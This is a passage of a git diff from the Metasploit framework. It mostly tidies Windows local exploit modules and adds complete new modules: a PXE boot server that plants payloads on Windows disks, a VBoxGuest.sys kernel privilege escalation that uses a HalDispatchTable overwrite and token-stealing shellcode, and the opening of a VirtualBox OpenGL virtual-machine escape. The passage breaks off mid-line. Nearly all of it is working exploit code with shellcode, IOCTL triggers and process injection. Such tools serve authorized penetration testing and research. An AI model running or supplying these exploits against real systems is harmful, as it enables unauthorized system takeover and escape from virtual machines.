print_good("Addresses successfully disclosed.") + print_good('Addresses successfully disclosed.') end - - print_status("Storing the kernel stager on memory...") + print_status('Storing the kernel stager in memory...') this_proc = session.sys.process.open kernel_shell = ring0_shellcode(my_target) kernel_shell_address = 0x1000 result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") + fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory') else print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") end - print_status("Storing the trampoline to the kernel stager on memory...") + print_status('Storing the trampoline to the kernel stager on memory...') trampoline = "\x90" * 0x38 # nops trampoline << "\x68" # push opcode - trampoline << [0x1000].pack("V") # address to push + trampoline << [0x1000].pack('V') # address to push trampoline << "\xc3" # ret trampoline_addr = 0x1 result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing trampoline on memory") + fail_with(Failure::Unknown, 'Error while storing trampoline on memory') else print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}") end - print_status("Storing the IO Control buffer on memory...") + print_status('Storing the IO Control buffer on memory...') buffer = "\x00" * 1024 - buffer[20, 4] = [0x7030125].pack("V") # In order to trigger the vulnerable call - buffer[28, 4] = [0x34].pack("V") # In order to trigger the vulnerable call + buffer[20, 4] = [0x7030125].pack('V') # In order to trigger the vulnerable call + buffer[28, 4] = [0x34].pack('V') # In order to trigger the vulnerable call buffer_addr = 0x0d0d0000 result = fill_memory(this_proc, buffer_addr, buffer.length, buffer) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory") + fail_with(Failure::Unknown, 'Error while storing the IO Control buffer on memory') else print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}") end - print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") + print_status('Triggering the vulnerability, corrupting the HalDispatchTable...') magic_ioctl = 0x8fff23c8 # Values taken from the exploit in the wild, see references - ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80) + session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80) session.railgun.kernel32.CloseHandle(handle) - print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") - result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) + print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...') + session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) - print_status("Checking privileges after exploitation...") + print_status('Checking privileges after exploitation...') unless is_system? - fail_with(Failure::Unknown, "The exploitation wasn't successful") + fail_with(Failure::Unknown, 'The exploitation was not successful') end p = payload.encoded - print_good("Exploitation successful! Creating a new process and launching payload...") + print_good('Exploitation successful! Creating a new process and launching payload...') new_pid = create_proc if new_pid.nil? - print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...") + print_warning('Unable to create a new process, maybe you are in a sandbox. If the current process has been elevated try to migrate before executing a new process...') return end - print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...") + print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...") if execute_shellcode(p, nil, new_pid) - print_good("Enjoy") + print_good('Enjoy') else - fail_with(Failure::Unknown, "Error while executing the payload") + fail_with(Failure::Unknown, 'Error while executing the payload') end - - end - end - diff --git a/modules/exploits/windows/local/novell_client_nicm.rb b/modules/exploits/windows/local/novell_client_nicm.rb index a219d3905b..97b5f6d5b6 100644 --- a/modules/exploits/windows/local/novell_client_nicm.rb +++ b/modules/exploits/windows/local/novell_client_nicm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -66,28 +66,6 @@ class Metasploit3 < Msf::Exploit::Local end - def add_railgun_functions - session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') - session.railgun.add_function( - 'psapi', - 'EnumDeviceDrivers', - 'BOOL', - [ - ["PBLOB", "lpImageBase", "out"], - ["DWORD", "cb", "in"], - ["PDWORD", "lpcbNeeded", "out"] - ]) - session.railgun.add_function( - 'psapi', - 'GetDeviceDriverBaseNameA', - 'DWORD', - [ - ["LPVOID", "ImageBase", "in"], - ["PBLOB", "lpBaseName", "out"], - ["DWORD", "nSize", "in"] - ]) - end - def open_device(dev) invalid_handle_value = 0xFFFFFFFF @@ -163,10 +141,6 @@ class Metasploit3 < Msf::Exploit::Local end def exploit - - vprint_status("Adding the railgun stuff...") - add_railgun_functions - if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ diff --git a/modules/exploits/windows/local/novell_client_nwfs.rb b/modules/exploits/windows/local/novell_client_nwfs.rb index ac5f8f5407..ce5c2b73fc 100644 --- a/modules/exploits/windows/local/novell_client_nwfs.rb +++ b/modules/exploits/windows/local/novell_client_nwfs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -62,28 +62,6 @@ class Metasploit3 < Msf::Exploit::Local end - def add_railgun_functions - session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') - session.railgun.add_function( - 'psapi', - 'EnumDeviceDrivers', - 'BOOL', - [ - ["PBLOB", "lpImageBase", "out"], - ["DWORD", "cb", "in"], - ["PDWORD", "lpcbNeeded", "out"] - ]) - session.railgun.add_function( - 'psapi', - 'GetDeviceDriverBaseNameA', - 'DWORD', - [ - ["LPVOID", "ImageBase", "in"], - ["PBLOB", "lpBaseName", "out"], - ["DWORD", "nSize", "in"] - ]) - end - def open_device(dev) invalid_handle_value = 0xFFFFFFFF @@ -101,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Local def find_sys_base(drvname) results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) - addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*") + addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('V*') addresses.each do |address| results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) @@ -120,8 +98,8 @@ class Metasploit3 < Msf::Exploit::Local def ring0_shellcode(t) restore_ptrs = "\x31\xc0" # xor eax, eax - restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation - restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax + restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack('V') # mov eax, offset hal!HaliQuerySystemInformation + restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax tokenstealing = "\x52" # push edx # Save edx on the stack tokenstealing << "\x53" # push ebx # Save ebx on the stack @@ -147,7 +125,7 @@ class Metasploit3 < Msf::Exploit::Local def fill_memory(proc, address, length, content) - result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") if not proc.memory.writable?(address) vprint_error("Failed to allocate memory") @@ -219,10 +197,6 @@ class Metasploit3 < Msf::Exploit::Local def exploit - - vprint_status("Adding the railgun stuff...") - add_railgun_functions - if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ diff --git a/modules/exploits/windows/local/nvidia_nvsvc.rb b/modules/exploits/windows/local/nvidia_nvsvc.rb index 35799bd753..b192478dc5 100644 --- a/modules/exploits/windows/local/nvidia_nvsvc.rb +++ b/modules/exploits/windows/local/nvidia_nvsvc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index 0b7a26f357..75d3b8566b 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,6 +10,8 @@ require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking + include Msf::Post::Windows::Process + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Memory Payload Injection', @@ -52,13 +54,7 @@ class Metasploit3 < Msf::Exploit::Local return end - if @payload_arch.first =~ /64/ and client.platform =~ /x86/ - print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.") - print_error("Migrate to an x64 process and try again.") - return false - else - inject_into_pid(pid) - end + inject_into_pid(pid) end # Figures out which PID to inject to @@ -83,8 +79,6 @@ class Metasploit3 < Msf::Exploit::Local return false end - pids = [] - procs.each do |p| found_pid = p['pid'] return true if found_pid == pid @@ -144,27 +138,8 @@ class Metasploit3 < Msf::Exploit::Local begin print_status("Preparing '#{@payload_name}' for PID #{pid}") - raw = payload.generate - - print_status("Opening process #{pid.to_s}") - host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) - if not host_process - print_error("Unable to open #{pid.to_s}") - return - end - - print_status("Allocating memory in procees #{pid}") - mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) - - # Ensure memory is set for execution - host_process.memory.protect(mem) - - print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") - print_status("Writing the stager into memory...") - host_process.memory.write(mem, raw) - host_process.thread.create(mem, 0) - print_good("Successfully injected payload in to process: #{pid}") - + raw = payload.encoded + execute_shellcode(raw, nil, pid) rescue Rex::Post::Meterpreter::RequestError => e print_error("Unable to inject payload:") print_line(e.to_s) diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index 92d355c3d1..f37e1ffc6e 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/local/powershell_cmd_upgrade.rb b/modules/exploits/windows/local/powershell_cmd_upgrade.rb index 5b46139a50..5c006038a5 100644 --- a/modules/exploits/windows/local/powershell_cmd_upgrade.rb +++ b/modules/exploits/windows/local/powershell_cmd_upgrade.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -40,7 +40,8 @@ class Metasploit3 < Msf::Exploit::Local if file? "%WINDIR%\\System32#{psh_path}" print_status("Executing powershell command line...") - cmd_exec(cmd_psh_payload(payload.encoded)) + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) + cmd_exec(command) else fail_with(Exploit::Failure::NotVulnerable, "No powershell available.") end diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb index 5ced694cce..6e0a46d353 100644 --- a/modules/exploits/windows/local/ppr_flatten_rec.rb +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/local/pxeexploit.rb b/modules/exploits/windows/local/pxeexploit.rb new file mode 100644 index 0000000000..16f718b14e --- /dev/null +++ b/modules/exploits/windows/local/pxeexploit.rb @@ -0,0 +1,162 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/tftp' +require 'rex/proto/dhcp' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::TFTPServer + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'PXE Exploit Server', + 'Description' => %q{ + This module provides a PXE server, running a DHCP and TFTP server. + The default configuration loads a linux kernel and initrd into memory that + reads the hard drive; placing the payload on the hard drive of any Windows + partition seen. + + Note: the displayed IP address of a target is the address this DHCP server + handed out, not the "normal" IP address the host uses. + }, + 'Author' => [ 'scriptjunkie' ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Payload' => + { + 'Space' => 4500, + 'DisableNops' => 'True', + }, + 'Platform' => 'win', + 'DisclosureDate' => 'Aug 05 2011', + 'Targets' => + [ + [ 'Windows Universal', + { + } + ], + ], + 'Privileged' => true, + 'Stance' => Msf::Exploit::Stance::Passive, + 'DefaultTarget' => 0 + ) + + register_options( + [ + OptInt.new('SESSION', [ false, 'A session to pivot the attack through' ]) + ], self.class) + + register_advanced_options( + [ + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]), + OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), + OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), + OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]), + OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), + OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) + ], self.class) + end + + def exploit + if not datastore['TFTPROOT'] + datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit') + end + datastore['FILENAME'] = "update1" + datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them! + + # Prepare payload + print_status("Creating initrd") + initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom')) + uncompressed = Rex::Text.ungzip(initrd) + payl = payload.generate + uncompressed[uncompressed.index('AAAAAAAAAAAAAAAAAAAAAA'),payl.length] = payl + initrd = Rex::Text.gzip(uncompressed) + + # Meterpreter attack + if framework.sessions.include? datastore['SESSION'] + client = framework.sessions[datastore['SESSION']] + if not client.lanattacks + print_status("Loading lanattacks extension...") + client.core.use("lanattacks") + else + if datastore['RESETPXE'] + print_status("Resetting PXE attack...") + client.lanattacks.dhcp.reset + end + end + + print_status("Loading DHCP options...") + client.lanattacks.dhcp.load_options(datastore) + 0.upto(4) do |i| + print_status("Loading file #{i+1} of 5") + if i < 4 + contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}")) + else + contents = initrd + end + client.lanattacks.tftp.add_file("update#{i}",contents) + end + print_status("Starting TFTP server...") + client.lanattacks.tftp.start + print_status("Starting DHCP server...") + client.lanattacks.dhcp.start + print_status("pxesploit attack started") + while (true) do + begin + # get stats every 20s + select(nil, nil, nil, 20) + client.lanattacks.dhcp.log.each do |item| + print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+ + "(#{Rex::Socket.addr_ntoa(item[1])})") + report_note({ + :type => 'PXE.client', + :data => item[0].unpack('H2H2H2H2H2H2').join(':') + }) + end + rescue ::Interrupt + print_status("Stopping TFTP server...") + client.lanattacks.tftp.stop + print_status("Stopping DHCP server...") + client.lanattacks.dhcp.stop + print_status("PXEsploit attack stopped") + return + end + end + end + + # normal attack + print_status("Starting TFTP server...") + @tftp = Rex::Proto::TFTP::Server.new + @tftp.set_tftproot(datastore['TFTPROOT']) + @tftp.register_file('update4',initrd) + @tftp.start + + print_status("Starting DHCP server...") + @dhcp = Rex::Proto::DHCP::Server.new( datastore ) + @dhcp.report do |mac, ip| + print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+ + "(#{Rex::Socket.addr_ntoa(ip)})") + report_note({ + :type => 'PXE.client', + :data => mac.unpack('H2H2H2H2H2H2').join(':') + }) + end + @dhcp.start + print_status("pxesploit attack started") + + # Wait for finish.. + @tftp.thread.join + @dhcp.thread.join + print_status("pxesploit attack completed") + end + +end diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 07df848e19..40a4dc77e1 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Local 'Thomas McCarthy "smilingraccoon" ', 'Brandon McCann "zeknox" ' ], - 'Platform' => [ 'windows' ], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post diff --git a/modules/exploits/windows/local/service_permissions.rb b/modules/exploits/windows/local/service_permissions.rb index 49e5938474..a629ce8410 100644 --- a/modules/exploits/windows/local/service_permissions.rb +++ b/modules/exploits/windows/local/service_permissions.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/local/trusted_service_path.rb b/modules/exploits/windows/local/trusted_service_path.rb index 169574a435..ea0db27c68 100644 --- a/modules/exploits/windows/local/trusted_service_path.rb +++ b/modules/exploits/windows/local/trusted_service_path.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/local/virtual_box_guest_additions.rb b/modules/exploits/windows/local/virtual_box_guest_additions.rb new file mode 100644 index 0000000000..dcf21d3d29 --- /dev/null +++ b/modules/exploits/windows/local/virtual_box_guest_additions.rb @@ -0,0 +1,215 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/local/windows_kernel' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = AverageRanking + + include Msf::Exploit::Local::WindowsKernel + include Msf::Post::File + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation', + 'Description' => %q{ + A vulnerability within the VBoxGuest driver allows an attacker to inject memory they + control into an arbitrary location they define. This can be used by an attacker to + overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling + NtQueryIntervalProfile on Windows XP SP3 systems. This has been tested with VBoxGuest + Additions up to 4.3.10r93012. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Matt Bergin ', # Vulnerability discovery and PoC + 'Jay Smith ' # MSF module + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Targets' => + [ + ['Windows XP SP3', + { + 'HaliQuerySystemInfo' => 0x16bba, + '_KPROCESS' => "\x44", + '_TOKEN' => "\xc8", + '_UPID' => "\x84", + '_APLINKS' => "\x88" + } + ] + ], + 'References' => + [ + ['CVE', '2014-2477'], + ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt'] + ], + 'DisclosureDate'=> 'Jul 15 2014', + 'DefaultTarget' => 0 + })) + + end + + def fill_memory(proc, address, length, content) + + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + + if not proc.memory.writable?(address) + vprint_error("Failed to allocate memory") + return nil + else + vprint_good("#{address} is now writable") + end + + result = proc.memory.write(address, content) + + if result.nil? + vprint_error("Failed to write contents to memory") + return nil + else + vprint_good("Contents successfully written to 0x#{address.to_s(16)}") + end + + return address + end + + def check + if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ + return Exploit::CheckCode::Safe + end + + handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + if handle.nil? + return Exploit::CheckCode::Safe + end + session.railgun.kernel32.CloseHandle(handle) + + os = sysinfo["OS"] + unless (os =~ /windows xp.*service pack 3/i) + return Exploit::CheckCode::Safe + end + + file_path = get_env('WINDIR') << "\\system32\\drivers\\vboxguest.sys" + unless file?(file_path) + return Exploit::CheckCode::Unknown + end + + major, minor, build, revision, branch = file_version(file_path) + vprint_status("vboxguest.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") + + unless (major == 4) + return Exploit::CheckCode::Safe + end + + case minor + when 0 + return Exploit::CheckCode::Vulnerable if build < 26 + when 1 + return Exploit::CheckCode::Vulnerable if build < 34 + when 2 + return Exploit::CheckCode::Vulnerable if build < 26 + when 3 + return Exploit::CheckCode::Vulnerable if build < 12 + end + + return Exploit::CheckCode::Safe + end + + def exploit + if is_system? + fail_with(Exploit::Failure::None, 'Session is already elevated') + end + + if sysinfo["Architecture"] =~ /wow64/i + fail_with(Failure::NoTarget, "Running against WOW64 is not supported") + elsif sysinfo["Architecture"] =~ /x64/ + fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + end + + unless check == Exploit::CheckCode::Vulnerable + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") + end + + handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + if handle.nil? + fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device") + end + + print_status("Disclosing the HalDispatchTable address...") + hal_dispatch_table = find_haldispatchtable + if hal_dispatch_table.nil? + session.railgun.kernel32.CloseHandle(handle) + fail_with(Failure::Unknown, "Failed to disclose HalDispatchTable") + else + print_good("Address successfully disclosed.") + end + + print_status('Getting the hal.dll base address...') + hal_info = find_sys_base('hal.dll') + fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil? + + hal_base = hal_info[0] + print_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}") + hali_query_system_information = hal_base + target['HaliQuerySystemInfo'] + + print_status("Storing the shellcode in memory...") + this_proc = session.sys.process.open + + restore_ptrs = "\x31\xc0" # xor eax, eax + restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation + restore_ptrs << "\xa3" + [hal_dispatch_table + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax + + kernel_shell = token_stealing_shellcode(target) + kernel_shell_address = 0x1 + + buf = "\x90" * 0x6000 + buf[0, 56] = "\x50\x00\x00\x00" * 14 + buf[0x5000, kernel_shell.length] = restore_ptrs + kernel_shell + + result = fill_memory(this_proc, kernel_shell_address, buf.length, buf) + if result.nil? + session.railgun.kernel32.CloseHandle(handle) + fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") + else + print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") + end + + print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") + session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a040, 0x1, 140, hal_dispatch_table + 0x4 - 40, 0) + session.railgun.kernel32.CloseHandle(handle) + + print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") + session.railgun.ntdll.NtQueryIntervalProfile(2, 4) + + print_status("Checking privileges after exploitation...") + + unless is_system? + fail_with(Failure::Unknown, "The exploitation wasn't successful") + else + print_good("Exploitation successful!") + end + + p = payload.encoded + print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") + if execute_shellcode(p) + print_good("Enjoy") + else + fail_with(Failure::Unknown, "Error while executing the payload") + end + + end + +end + diff --git a/modules/exploits/windows/local/virtual_box_opengl_escape.rb b/modules/exploits/windows/local/virtual_box_opengl_escape.rb new file mode 100644 index 0000000000..9da271535c --- /dev/null +++ b/modules/exploits/windows/local/virtual_box_opengl_escape.rb @@ -0,0 +1,443 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = AverageRanking + + DEVICE = '\\\\.\\VBoxGuest' + INVALID_HANDLE_VALUE = 0xFFFFFFFF + + # VBOX HGCM protocol constants + VBOXGUEST_IOCTL_HGCM_CONNECT = 2269248 + VBOXGUEST_IOCTL_HGCM_DISCONNECT = 2269252 + VBOXGUEST_IOCTL_HGCM_CALL = 2269256 + CONNECT_MSG_SIZE = 140 + DISCONNECT_MSG_SIZE = 8 + SET_VERSION_MSG_SIZE = 40 + SET_PID_MSG_SIZE = 28 + CALL_EA_MSG_SIZE = 40 + VERR_WRONG_ORDER = 0xffffffea + SHCRGL_GUEST_FN_SET_PID = 12 + SHCRGL_CPARMS_SET_PID = 1 + SHCRGL_GUEST_FN_SET_VERSION = 6 + SHCRGL_CPARMS_SET_VERSION = 2 + SHCRGL_GUEST_FN_INJECT = 9 + SHCRGL_CPARMS_INJECT = 2 + CR_PROTOCOL_VERSION_MAJOR = 9 + CR_PROTOCOL_VERSION_MINOR = 1 + VMM_DEV_HGCM_PARM_TYPE_32_BIT = 1 + VMM_DEV_HGCM_PARM_TYPE_64_BIT = 2 + VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR = 5 + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'VirtualBox 3D Acceleration Virtual Machine Escape', + 'Description' => %q{ + This module exploits a vulnerability in the 3D Acceleration support for VirtualBox. The + vulnerability exists in the remote rendering of OpenGL-based 3D graphics. By sending a + sequence of specially crafted rendering messages, a virtual machine can exploit an out + of bounds array access to corrupt memory and escape to the host. This module has been + tested successfully on Windows 7 SP1 (64 bits) as Host running Virtual Box 4.3.6. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Francisco Falcon', # Vulnerability Discovery and PoC + 'Florian Ledoux', # Win 8 64 bits exploitation analysis + 'juan vazquez' # MSF module + ], + 'Arch' => ARCH_X86_64, + 'Platform' => 'win', + 'SessionTypes' => ['meterpreter'], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Targets' => + [ + [ 'VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits (ASLR/DEP bypass)', + { + :messages => :target_virtualbox_436_win7_64 + } + ] + ], + 'Payload' => + { + 'Space' => 7000, + 'DisableNops' => true + }, + 'References' => + [ + ['CVE', '2014-0983'], + ['BID', '66133'], + ['URL', 'http://www.coresecurity.com/advisories/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities'], + ['URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=oracle_virtualbox_3d_acceleration'], + ['URL', 'http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php'] + ], + 'DisclosureDate' => 'Mar 11 2014', + 'DefaultTarget' => 0 + })) + + end + + def open_device + r = session.railgun.kernel32.CreateFileA(DEVICE, "GENERIC_READ | GENERIC_WRITE", 0, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) + + handle = r['return'] + + if handle == INVALID_HANDLE_VALUE + return nil + end + + return handle + end + + def send_ioctl(ioctl, msg) + result = session.railgun.kernel32.DeviceIoControl(@handle, ioctl, msg, msg.length, msg.length, msg.length, 4, "") + + if result["GetLastError"] != 0 + unless result["ErrorMessage"].blank? + vprint_error("#{result["ErrorMessage"]}") + end + return nil + end + + unless result["lpBytesReturned"] && result["lpBytesReturned"] == msg.length + unless result["ErrorMessage"].blank? + vprint_error("#{result["ErrorMessage"]}") + end + return nil + end + + unless result["lpOutBuffer"] && result["lpOutBuffer"].unpack("V").first == 0 + unless result["ErrorMessage"].blank? + vprint_error("#{result["ErrorMessage"]}") + end + return nil + end + + result + end + + def connect + msg = "\x00" * CONNECT_MSG_SIZE + + msg[4, 4] = [2].pack("V") + msg[8, "VBoxSharedCrOpenGL".length] = "VBoxSharedCrOpenGL" + + result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CONNECT, msg) + + if result.nil? + return result + end + + client_id = result["lpOutBuffer"][136, 4].unpack("V").first + + client_id + end + + def disconnect + msg = "\x00" * DISCONNECT_MSG_SIZE + + msg[4, 4] = [@client_id].pack("V") + + result = send_ioctl(VBOXGUEST_IOCTL_HGCM_DISCONNECT, msg) + + result + end + + def set_pid(pid) + msg = "\x00" * SET_PID_MSG_SIZE + + msg[0, 4] = [VERR_WRONG_ORDER].pack("V") + msg[4, 4] = [@client_id].pack("V") # u32ClientID + msg[8, 4] = [SHCRGL_GUEST_FN_SET_PID].pack("V") + msg[12, 4] = [SHCRGL_CPARMS_SET_PID].pack("V") + msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_64_BIT].pack("V") + msg[20, 